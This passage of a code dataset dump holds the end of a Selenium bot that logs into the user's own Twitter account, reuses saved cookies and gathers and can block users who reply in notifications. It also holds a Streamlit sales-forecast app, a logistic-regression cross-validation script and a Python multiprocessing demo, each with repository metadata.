\"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div/div[2]/label/div/div[2]/div/input\"\n    )\n    warning_next_button_xpath = \"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div[2]/div/div/div/div/div\"\n\n    # handle phone check\n    phone_input_xpath = (\n        \"/html/body/div[1]/div/div/div[1]/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div/div[2]/label/div/div[2]/div/input\"\n    )\n\n    # notification tab\n    notification_tab_xpath = \"//*[@id='react-root']/div/div/div[2]/header/div/div/div/div[1]/div[2]/nav/a[3]\"\n    notification_indication_xpath = \"//*[@id='react-root']/div/div/div[2]/header/div/div/div/div[1]/div[2]/nav/a[3]/div/div/div\"\n\n    cell_xpath = lambda i: f\"//*[@id='react-root']/div/div/div[2]/main/div/div/div/div/div/div[3]/section/div/div/div[{i}]\"\n                                       \n    non_reply_item_xpath = lambda i: f\"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/section/div/div/div[{i}]/div/div/article\"\n\n    non_reply_id_xpath = (\n        lambda i: f\"/html/body/div[1]/div/div/div[2]/main/div/div/div/div/div/div[3]/section/div/div/div[{i}]/div/div/article/div[1]/div[2]/div[2]/div/a\"\n    )\n    #only present in sysinfo\n    sys_info_xpath = (\n        lambda i: f\"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/section/div/div/div[{i}]/div/div/article/div[1]/div[2]\"\n    )\n \n    reply_item_xpath = lambda i: f\"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/section/div/div/div[{i}]/div/div/article\"\n    \n    reply_id_xpath = (\n        lambda i: f\"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/section/div/div/div[{i}]/div/div/article/div/div/div[2]/div[2]/div[1]/div/div[1]/div/div/div[1]/div/a\"\n    )\n    reply_time_xpath = (\n        lambda i: f\"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/section/div/div/div[{i}]/div/div/article/div/div/div[2]/div[2]/div[1]/div/div[1]/div/div/div[2]/div/div[3]/a/time\"\n    )\n\n\n    # sometimes you get a square page saying there is an error, refresh or logout?\n    refresh_button_xpath = \"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div/div[2]/div[2]/div[1]\"\n\n    # items to click for block via user page\n    operation_menu_button_xpath = \"//*[@id='react-root']/div/div/div[2]/main/div/div/div/div/div/div[3]/div/div/div/div/div[1]/div[2]/div[1]\"\n    block_button_xpath = \"//*[@id='layers']/div[2]/div/div/div/div[2]/div/div[3]/div/div/div/div[3]\"\n    agree_block_button_xpath = \"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div[2]/div[1]\"\n\n    # problem: the path is different depending on user profile\n    following_count_xpath = \"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/div/div/div/div/div[5]/div[1]/a/span[1]/span\"\n    follower_count_xpath = \"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/div/div/div/div/div[5]/div[2]/a/span[1]/span\"\n    join_date_xpath = \"/html/body/div[1]/div/div/div[2]/main/div/div/div/div[1]/div/div[3]/div/div/div/div/div[4]/div/span/span\"\n\n    def __init__(self, config_path=None, cookie_path=None):\n        self._config_path = config_path\n        self._cookie_path = cookie_path\n\n        config_dict = load_yaml(self._config_path)\n\n        self._email = config_dict[\"login\"][\"email\"]\n        self._password = config_dict[\"login\"][\"password\"]\n        self._screenname = config_dict[\"login\"][\"screenname\"]\n        self._phonenumber = config_dict[\"login\"][\"phonenumber\"]\n\n        self.setup_driver()\n\n    def setup_driver(self):\n        current_platform = platform.system()\n        print(\"current_platform:\", current_platform)\n        if current_platform == \"Darwin\":\n            # driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()),options=chrome_options)\n            driver = webdriver.Firefox(service=Service(GeckoDriverManager().install()))\n        if current_platform == \"Linux\":\n            firefox_options = webdriver.FirefoxOptions()\n            firefox_options.add_argument(\"--headless\")\n            driver = webdriver.Firefox(service=Service(GeckoDriverManager().install()), options=firefox_options)\n            # driver = webdriver.Firefox(service=Service(GeckoDriverManager().install()))\n        # user agent\n        # driver.execute_cdp_cmd('Network.setUserAgentOverride', {\"userAgent\": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.119 Safari/537.36'})\n        print(driver.execute_script(\"return navigator.userAgent;\"))\n\n        self.driver = driver\n\n    def check_element_exists(self, xpath):\n        elements = self.driver.find_elements(By.XPATH, xpath)\n        return len(elements) > 0\n\n    def wait_for_element_xpath(self, xpath):\n        wait = WebDriverWait(self.driver, 20)\n        wait.until(EC.presence_of_element_located((By.XPATH, xpath)))\n\n    def wait_and_find_element_xpath(self, xpath):\n        self.wait_for_element_xpath(xpath)\n        return self.driver.find_element(By.XPATH, xpath)\n\n    def click_button_xpath(self, xpath):\n        button = self.wait_and_find_element_xpath(xpath)\n        self.driver.execute_script(\"arguments[0].click();\", button)\n\n    def input_xpath(self, text, xpath):\n        input_field = self.wait_and_find_element_xpath(xpath)\n        input_field.send_keys(text)\n        # enter return key\n        input_field.send_keys(Keys.ENTER)\n\n    def auto_block_user(self, user):\n        target_url = \"https://twitter.com/\" + user\n        self.driver.get(target_url)\n        self.click_button_xpath(SeleniumTwitterBot.operation_menu_button_xpath)\n        self.click_button_xpath(SeleniumTwitterBot.block_button_xpath)\n        self.click_button_xpath(SeleniumTwitterBot.agree_block_button_xpath)\n\n    def load_cookies(self, cookies_filepath):\n        print(\"...loading cookies...\")\n        cookies = pickle.load(open(cookies_filepath, \"rb\"))\n        print(cookies)\n        for cookie in cookies:\n            # if 'expiry' in cookie and cookie['expiry'] < time.time():\n            #    cookie['expiry'] = int(time.time()) + 604800\n\n            self.driver.add_cookie(cookie)\n            print(cookie)\n\n    def get_reply_user_url_finished(self, d):\n        self._user_url = d.execute_script(\"return arguments[0].getAttribute('href');\", self._current_element)\n        return self._user_url is not None\n\n    def get_reply_user_datetime_finished(self, d):\n        self._user_datetime = d.execute_script(\"return arguments[0].getAttribute('datetime');\", self._current_time_element)\n        return self._user_datetime is not None\n\n    def get_non_reply_user_url_finished(self, d):\n        self._user_url = d.execute_script(\"return arguments[0].getAttribute('href');\", self._current_element)\n        return self._user_url is not None\n\n    #def check_user(self, user_name):\n    #    x = sntwitter.TwitterUserScraper(user_name)\n    #    userdata = x._get_entity()\n    #    tweet_count = userdata.statusesCount\n    #    following_count = userdata.friendsCount\n    #    followers_count = userdata.followersCount\n    #    author_created = userdata.created\n    #    current_time = datetime.now(timezone.utc)\n    #    time_diff = current_time - author_created\n    #    print(tweet_count, following_count, followers_count, time_diff.days)\n\n    # manual login and set the page to the notification page\n    def twitter_login_manual(self):\n        print(\"...manual log in...\")\n        self.driver.get(SeleniumTwitterBot.url)\n        # click login button from homepage\n        try:\n            self.click_button_xpath(SeleniumTwitterBot.enter_login_button_xpath)\n        except:\n            self.click_button_xpath(SeleniumTwitterBot.enter_login_button_alt_xpath)\n\n        banner = self.wait_and_find_element_xpath(SeleniumTwitterBot.banner_xpath)\n        print(banner.text)\n\n        # fill in email\n        self.input_xpath(self._email, SeleniumTwitterBot.email_input_xpath)\n\n        # test if the system requires screenname\n        title = self.wait_and_find_element_xpath(SeleniumTwitterBot.title_xpath).text\n        print(title)\n        if title == SeleniumTwitterBot.warning_title:\n            print(self.driver.find_element(By.XPATH, SeleniumTwitterBot.warning_detail_xpath).text)\n\n            # fill in screenname\n            self.input_xpath(self._screenname, SeleniumTwitterBot.warning_input_xpath)\n\n        # fill in password\n        self.input_xpath(self._password, SeleniumTwitterBot.password_input_xpath)\n\n    def save_cookies(self):\n        pickle.dump(self.driver.get_cookies(), open(self._cookie_path, \"wb\"))\n\n    def twitter_login(self):\n        # cookie refreshment? expiration? what will happen when one of the cookies expire?\n        if os.path.exists(self._cookie_path):\n            self.driver.get(SeleniumTwitterBot.home_url)\n\n            try:\n                self.load_cookies(self._cookie_path)\n\n                sleep(1)\n                l = self.driver.find_elements(By.XPATH, SeleniumTwitterBot.refresh_button_xpath)\n                if len(l) > 0:\n                    print(\"NEED TO CLICK THE REFRESH BUTTON\")\n                    # after click the refresh button, the page will redirect to home page, not notification page\n                    self.click_button_xpath(SeleniumTwitterBot.refresh_button_xpath)\n                # after cookie is loading, there will be no autodirect, so you need to manually redirect if you want to go another page\n                self.driver.get(SeleniumTwitterBot.home_url)\n\n            except:\n                traceback.print_exc()\n                # if there is any error in cookie loading\n                self.twitter_login_manual()\n        else:\n            self.twitter_login_manual()\n\n        # ensure that we are on homepage\n        # otherwise handle \"enter phone number for safety\"\n        try:\n            print(\"at the end of login:\", self.driver.current_url)\n            # without cookie, after login, it will auto-redirect to home\n            WebDriverWait(self.driver, timeout=10).until(EC.url_to_be(SeleniumTwitterBot.home_url))\n            print(\"On homepage!\", self.driver.current_url)\n        except:\n            self.input_xpath(self._phonenumber, SeleniumTwitterBot.phone_input_xpath)\n            self.wait_and_find_element_xpath(SeleniumTwitterBot.phone_input_xpath).send_keys(Keys.ENTER)\n\n        self.save_cookies()\n\n    def check_notifications(self):\n        # the notification indication will only show after refreshing\n        self.driver.refresh()\n\n        print(\n            \"///////////////new notification?////////////////\",\n            self.check_element_exists(SeleniumTwitterBot.notification_indication_xpath),\n        )\n        self.driver.get(SeleniumTwitterBot.notification_url)\n        print(\"notification page title:\", self.driver.title)\n        # to include more cells in one screen\n        self.driver.execute_script(\"document.body.style.zoom='67%'\")\n\n        sleep(2)\n\n        user_urls = set()\n        self._user_url = None\n        self._user_datetime = None\n        self._current_element = None\n        self._current_time_element = None\n\n        # twitter's notification \"articles\"' seq number is dynamically renamed. if you scroll down a lot, the elements will start from 1 again\n        for k in range(10):\n            # records the xpath of last visited element\n            last = -1\n            for i in range(1, 100):\n                l1 = self.driver.find_elements(By.XPATH, SeleniumTwitterBot.sys_info_xpath(i))\n                l2 = self.driver.find_elements(By.XPATH, SeleniumTwitterBot.reply_item_xpath(i))\n\n                # sys info\n                if len(l1) > 0:\n                    last = SeleniumTwitterBot.sys_info_xpath(i)\n                    continue\n                    \"\"\"\n                    last = SeleniumTwitterBot.non_reply_item_xpath(i)\n                    user_id = self.driver.find_elements(By.XPATH, SeleniumTwitterBot.non_reply_id_xpath(i))\n\n                    # not all non-reply items have user id (for example, login warning)\n                    if len(user_id) > 0:\n                        print(\"retrieve---------non-reply-user------------\", i, len(l1))\n\n                        try:\n                            self._current_element = user_id[0]\n                            WebDriverWait(self.driver, 10).until(self.get_non_reply_user_url_finished)\n                        except:\n                            traceback.print_exc()\n\n                        # user_url = driver.execute_script(\"return arguments[0].getAttribute('href');\", user_id[0])\n                        # WebDriverWait(driver, 10).until(lambda d: d.execute_script(\"return arguments[0].getAttribute('href');\", user_id[0]) is not None)\n\n                        print(\"ID url:\", self._user_url)\n                        user_urls.add(self._user_url)\n                    # print(i,l1[0].text)\n                    \"\"\"\n\n                # there are reply items\n                if len(l2) > 0:\n                    print(\"retrivee---------reply-user------------\", i, len(l2))\n\n                    last = SeleniumTwitterBot.reply_item_xpath(i)\n\n                    # user_url = driver.execute_script(\"return arguments[0].getAttribute('href');\", driver.find_element(By.XPATH,reply_id_xpath(i)))\n                    # WebDriverWait(driver, 10).until(lambda d: d.execute_script(\"return arguments[0].getAttribute('href');\", wait_and_find_element_xpath(driver,reply_id_xpath(i))) is not None)\n                    try:\n                        self._current_element = self.wait_and_find_element_xpath(SeleniumTwitterBot.reply_id_xpath(i))\n                        WebDriverWait(self.driver, 10).until(self.get_reply_user_url_finished)\n\n                        self._current_time_element = self.wait_and_find_element_xpath(SeleniumTwitterBot.reply_time_xpath(i))\n                        WebDriverWait(self.driver, 10).until(self.get_reply_user_datetime_finished)\n\n                    except:\n                        traceback.print_exc()\n\n                    print(\"ID url:\", self._user_url)\n                    user_urls.add(self._user_url)\n                    print(\"TIMESTAMP:\", self._user_datetime)\n\n                    # print(i,l2[0].text)\n\n            print(\"last seen:\", last)\n            print(\"////////////////ONE ROLL END/////////////////\")\n            # actions = ActionChains(driver)\n            # actions.move_to_element(driver.find_element(By.XPATH,last)).perform()\n            self.driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\n            self.wait_for_element_xpath(SeleniumTwitterBot.cell_xpath(1))\n\n        print(\"user_urls:\", user_urls)\n        user_names = [x[1:] for x in user_urls]\n\n        #for x in user_names:\n        #    self.check_user(x)\n            # test autoblock\n            # auto_block_user(driver,x)\n\n        self.save_cookies()\n\n\nif __name__ == \"__main__\":\n    pwd = os.path.dirname(os.path.realpath(__file__))\n    CONFIG_PATH = os.path.join(pwd, \"apifree.yaml\")\n    COOKIE_PATH = os.path.join(pwd, \"sl_cookies.pkl\")\n\n    b = SeleniumTwitterBot(config_path=CONFIG_PATH, cookie_path=COOKIE_PATH)\n    b.twitter_login()\n    #b.check_notifications()\n", "repo_name": "corruptbear/twitter_guard", "sub_path": "twitter_guard/selenium_bot.py", "file_name": "selenium_bot.py", "file_ext": "py", "file_size_in_byte": 17840, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.load_yaml", "line_number": 113, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 123, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 127, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 127, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 127, "usage_type": "call"}, {"api_name": "webdriver_manager.firefox.GeckoDriverManager", "line_number": 127, "usage_type": "call"}, {"api_name": "selenium.webdriver.FirefoxOptions", "line_number": 129, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 129, "usage_type": "name"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 131, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 131, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 131, "usage_type": "call"}, {"api_name": "webdriver_manager.firefox.GeckoDriverManager", "line_number": 131, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 140, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 140, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 144, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 145, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 145, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 145, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 145, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 149, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 149, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 159, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 159, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 170, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 222, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 222, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 235, "usage_type": "call"}, {"api_name": "os.path", "line_number": 235, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 241, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 242, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 242, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 251, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 262, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.url_to_be", "line_number": 262, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 262, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 266, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 266, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 283, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 296, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 296, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 297, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 297, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 335, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 338, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 341, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path", "line_number": 368, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 369, "usage_type": "call"}, {"api_name": "os.path", "line_number": 369, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 370, "usage_type": "call"}, {"api_name": "os.path", "line_number": 370, "usage_type": "attribute"}]}
{"seq_id": "5813089119", "text": "import numpy\r\nimport streamlit as st\r\nimport pandas as pd\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.model_selection import train_test_split\r\npd.set_option('display.max_columns', None)\r\npd.set_option('display.max_rows', None)\r\n\r\nst.set_page_config(layout=\"wide\", page_title='Sample Sales Forecast')\r\n\r\nst.sidebar.header('Sales Forecast - Setup:')\r\ndf = pd.read_csv('vendas.csv')\r\nlistaClientes = df.CLIENTE.sort_values(ascending=True).unique().tolist()\r\nlistaVendedores = df.VENDEDOR.sort_values(ascending=True).unique().tolist()\r\nlistaProdutos = df.PRODUTO.sort_values(ascending=True).unique().tolist()\r\n\r\n\r\ndef setup_creator():\r\n    # clientes\r\n    clientes = ['Select']\r\n    clientes.extend(listaClientes)\r\n    clientes = tuple(clientes)\r\n    cliente = st.sidebar.selectbox('Consumers:', clientes)\r\n    # vendedores\r\n    vendedores = ['Select']\r\n    if cliente != 'Select':\r\n        vendedores.extend(df[df.CLIENTE == cliente].VENDEDOR.sort_values(ascending=True).unique().tolist())\r\n    else:\r\n        vendedores.extend(df.VENDEDOR.sort_values(ascending=True).unique().tolist())\r\n    vendedores = tuple(vendedores)\r\n    vendedor = st.sidebar.selectbox('Sellers:', vendedores)\r\n\r\n\r\n    # produtos\r\n    produtos = ['Select']\r\n    if cliente != 'Select':\r\n        produtos.extend(df[df.CLIENTE == cliente].PRODUTO.sort_values(ascending=True).unique().tolist())\r\n    elif vendedor != 'Select':\r\n        produtos.extend(df[df.VENDEDOR == vendedor].PRODUTO.sort_values(ascending=True).unique().tolist())\r\n    else:\r\n        produtos.extend(df.PRODUTO.sort_values(ascending=True).unique().tolist())\r\n    produtos = tuple(produtos)\r\n    produto = st.sidebar.selectbox('Product', produtos)\r\n\r\n    mes = st.sidebar.slider(f'Mês:', 1, 12, 6)\r\n\r\n    st.sidebar.write(\"\"\"** @italomarcelogit **\"\"\")\r\n    st.sidebar.write(\"\"\"** /heroku-sales-prediction **\"\"\")\r\n    st.sidebar.write(\"\"\"* Pandas \"\"\")\r\n    st.sidebar.write(\"\"\"* Numpy \"\"\")\r\n    st.sidebar.write(\"\"\"* Scikit-Learn \"\"\")\r\n    st.sidebar.write(\"\"\"* Streamlit \"\"\")\r\n\r\n    dados = {\r\n        'EMPRESA': 1,\r\n        'MES': mes\r\n    }\r\n    if cliente != 'Select':\r\n        dados.update({'CLIENTE': cliente})\r\n    if vendedor != 'Select':\r\n        dados.update({'VENDEDOR': vendedor})\r\n    if produto != 'Select':\r\n        dados.update({'PRODUTO': produto})\r\n\r\n    return pd.DataFrame(data=dados, index=[0])\r\n\r\n\r\ndef getValues(dataframe, field):\r\n    return dataframe[field].values[0]\r\n\r\n\r\ndef topo():\r\n    st.title(\"Machine Learning - Sales Forecast\")\r\n\r\n\r\ndef previsao(dfp):\r\n    st.subheader('Setup - Params')\r\n    st.write(dfp)\r\n\r\n    base = df.copy()\r\n\r\n    base['id_cliente'] = base.CLIENTE.apply(lambda x: listaClientes.index(x))\r\n    base['id_produto'] = base.PRODUTO.apply(lambda x: listaProdutos.index(x))\r\n    base['id_vendedor'] = base.VENDEDOR.apply(lambda x: listaVendedores.index(x))\r\n\r\n    features = ['EMPRESA']\r\n    campo = []\r\n    valor = []\r\n\r\n    try:\r\n        if getValues(dfp, 'MES') != 'Select':\r\n            campo.append('MES')\r\n            valor.append(getValues(dfp, 'MES'))\r\n    except:\r\n        pass\r\n\r\n    try:\r\n        if getValues(dfp, 'CLIENTE') != 'Select':\r\n            campo.append('id_cliente')\r\n            valor.append(listaClientes.index(getValues(dfp, 'CLIENTE')))\r\n    except:\r\n        pass\r\n\r\n    try:\r\n        if getValues(dfp, 'VENDEDOR') != 'Select':\r\n            campo.append('id_vendedor')\r\n            valor.append(listaVendedores.index(getValues(dfp, 'VENDEDOR')))\r\n    except:\r\n        pass\r\n\r\n    try:\r\n        if getValues(dfp, 'PRODUTO') != 'Select':\r\n            campo.append('id_produto')\r\n            valor.append(listaProdutos.index(getValues(dfp, 'PRODUTO')))\r\n    except:\r\n        pass\r\n\r\n    target = 'TOTAL'\r\n    features.extend(campo)\r\n    valores = [1]\r\n    valores.extend(valor)\r\n    titulo = 'Sales Forecast - Filtered (Setup)'\r\n    if len(features) == 2:\r\n        titulo = 'Sales Forecast - no filter (data company)'\r\n        e = numpy.ones(12)\r\n        m = numpy.arange(1, 13)\r\n\r\n        base2 = base[['EMPRESA', 'MES', 'TOTAL']].groupby(['EMPRESA', 'MES']).sum()\r\n        base = pd.DataFrame(columns=['TOTAL', 'MES', 'EMPRESA'])\r\n        base['EMPRESA'] = e\r\n        base['MES'] = m\r\n        base['TOTAL'] = base2['TOTAL'].values\r\n\r\n    X = base[features]\r\n    y = base[target]\r\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33)\r\n    clf = RandomForestRegressor(max_depth=2, random_state=0)\r\n\r\n    clf.fit(X_train, y_train)\r\n\r\n\r\n    st.subheader(titulo)\r\n    st.write(f\"\"\"# US$ {clf.predict([valores])[0]:.2f}\"\"\")\r\n\r\ndfr = setup_creator()\r\ntopo()\r\nprevisao(dfr)\r\n", "repo_name": "italomarcelogit/heroku-sales-prediction", "sub_path": "salesPrediction-app.py", "file_name": "salesPrediction-app.py", "file_ext": "py", "file_size_in_byte": 4628, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.set_option", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 7, "usage_type": "call"}, {"api_name": "streamlit.set_page_config", "line_number": 9, "usage_type": "call"}, {"api_name": "streamlit.sidebar.header", "line_number": 11, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.sidebar.selectbox", "line_number": 23, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 23, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.selectbox", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 31, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.selectbox", "line_number": 43, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 43, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.slider", "line_number": 45, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 45, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.write", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 47, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.write", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 48, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.write", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 49, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.write", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 50, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.write", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 51, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.write", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 77, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 126, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 136, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 137, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 142, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 143, "usage_type": "call"}]}
{"seq_id": "27589206710", "text": "import numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegressionCV\nfrom tpot.metrics import balanced_accuracy\nfrom sklearn.metrics import make_scorer\nimport time\n\n\ninput_file = '/home/ansohn/Python/data/CGEMS-data/CGEMS-prostate-cancer-data-only-genes-predict-aggressive.csv'\ndata = pd.read_csv(input_file)\n\ndata = data.sample(frac=1)\nfeatures = data.drop('class', axis=1).values\nlabels = data['class'].values\n\nt1 = time.time()\nsearchCV = LogisticRegressionCV(\n        Cs=list(np.power(10.0, np.arange(-10, 10)))\n        ,penalty='l2'\n        ,scoring=make_scorer(balanced_accuracy)\n        ,cv=10\n        ,max_iter=10000\n        ,solver='liblinear'\n        ,n_jobs=15\n)\n\nsearchCV.fit(features, labels)\nt2 = time.time()\n\nprint ('Best score:', searchCV.scores_[1].mean(axis=0).max())\nprint ('Time elapsed:', t2 - t1)\n", "repo_name": "sohnam/backup-scripts", "sub_path": "logit_cgems.py", "file_name": "logit_cgems.py", "file_ext": "py", "file_size_in_byte": 842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 10, "usage_type": "call"}, {"api_name": "time.time", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegressionCV", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 20, "usage_type": "call"}, {"api_name": "tpot.metrics.balanced_accuracy", "line_number": 20, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "19827927428", "text": "from multiprocessing import Pool\nimport os, time, random\n\n\ndef worker(msg):\n    t_start = time.time()\n    print(\"worker[%s] starts, pid: %d\" % (msg, os.getpid()))\n    time.sleep(random.random() * 2)\n    t_stop = time.time()\n    print(\"worker[%s] finished, time: %0.2f\" % (msg, t_stop - t_start))\n\n\npool = Pool(2)\nfor i in range(0, 10):\n    pool.apply_async(worker, (i,))\n\nprint(\"start...\")\npool.close()\npool.join()\nprint(\"end...\")\n", "repo_name": "lightjameslyy/python-full-stack", "sub_path": "advanced/02-multi-tasks/02-multi-processing/lt_07_pool.py", "file_name": "lt_07_pool.py", "file_ext": "py", "file_size_in_byte": 431, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.time", "line_number": 6, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 7, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 8, "usage_type": "call"}, {"api_name": "random.random", "line_number": 8, "usage_type": "call"}, {"api_name": "time.time", "line_number": 9, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 13, "usage_type": "call"}]}
